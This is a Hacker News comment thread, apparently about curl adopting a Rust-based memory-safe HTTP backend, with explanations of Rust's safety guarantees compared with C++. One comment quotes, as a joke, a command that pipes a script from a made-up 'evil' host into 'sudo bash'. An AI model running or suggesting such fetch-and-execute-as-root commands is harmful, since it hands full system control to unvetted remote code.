Live data from Hacker News

Memory safe ‘curl’ for a more secure internet

daniel.haxx.se

21–30 of 210 posts

Re: Memory safe ‘curl’ for a more secure internet

#23
post #21

I've heard a lot about Rust's "safety" things. But what are they? How does it compare with modern C++?

Rust has a few interlocking behaviors that provide its memory safety, a few of the most important are:

- The borrow checker enforces mutable XOR shared references.

- The compiler does not allow use of local variables before they're assigned to, requires structs to be completely initialized, etc..

- All the builtin datastructures perform bounds checks

- The compiler disallows deferencing raw pointers except in unsafe blocks.

There's a lot of good things to be said about modern C++, particular smart pointers. However, it's significantly less resilient to common mistakes than Rust is: https://alexgaynor.net/2019/apr/21/modern-c++-wont-save-us/

Re: Memory safe ‘curl’ for a more secure internet

#24

Great! As long as "curl https://totally-not-evil.example.com/install.sh | sudo bash" still works, I feel safer already.

The point is that they want further assurances that the "curl https://totally-not-evil.example.com/install.sh" part won't, in certain environments, screw up some pointer arithmetic and write the buffer into executable memory, or cause some other heartbleed-esque bug which can be exploited.

Piping it to "sudo bash" is perfectly acceptable in the eyes of the system. It's doing the instructions the user has asked it to, they've explicitly been configured as sudoers, and usually have been prompted to enter their password.

Re: Memory safe ‘curl’ for a more secure internet

#25
post #21

I've heard a lot about Rust's "safety" things. But what are they? How does it compare with modern C++?

I don't know why you're downvoted.

> But what are they?

The language's semantics are such that by default, you get memory safe code. This is checked at compile time. While many languages are memory safe, they often require a significant amount of runtime checking, with things like a garbage collector. Rust moves the vast majority of these kinds of checks to compile time, and so has the performance profile of C or C++, while still retaining memory safety.

> How does it compare with modern C++?

One way to look at Rust is "modern C++, but enforced, and by default." But that ignores some significant differences. For example, Rust's Box and std::uniq_ptr are similar, but the latter can still be null, whereas Rust's can't. C++ cannot be checked statically for memory safety, even if modern C++ helps improve things, it doesn't go as far as Rust does.

Re: Memory safe ‘curl’ for a more secure internet

#26

Here's what Daniel Stenberg had to say about the move [1] [1] https://daniel.haxx.se/blog/2020/10/09/rust-in-curl-with-hyp...

Interesting to contrast with curl is C: https://daniel.haxx.se/blog/2017/03/27/curl-is-c

Looks like they've figured out a good way to allow bringing in safety while avoiding the risks any change will bring

Re: Memory safe ‘curl’ for a more secure internet

#27

I've been holding my breath ever since I saw https://github.com/hyperium/hyper/issues/2265#issuecomment-6... Glad to see it seems to be going well!

(and the pull request under active development here: https://github.com/hyperium/hyper/pull/2278)

I see that Stenberg (bagder) is receiving funding for the work from the ISRG, but I wonder if McArthur (seanmonstar) is, too? It seems like a sizable amount of work on their part, too.

Re: Memory safe ‘curl’ for a more secure internet

#30

Here's what Daniel Stenberg had to say about the move [1] [1] https://daniel.haxx.se/blog/2020/10/09/rust-in-curl-with-hyp...

I suppose he's really keen on a Fish in a Barrel bounty... https://github.com/fishinabarrel/bounty

I think it's fair to say that this work is quite likely to qualify :-)
Post reply on HN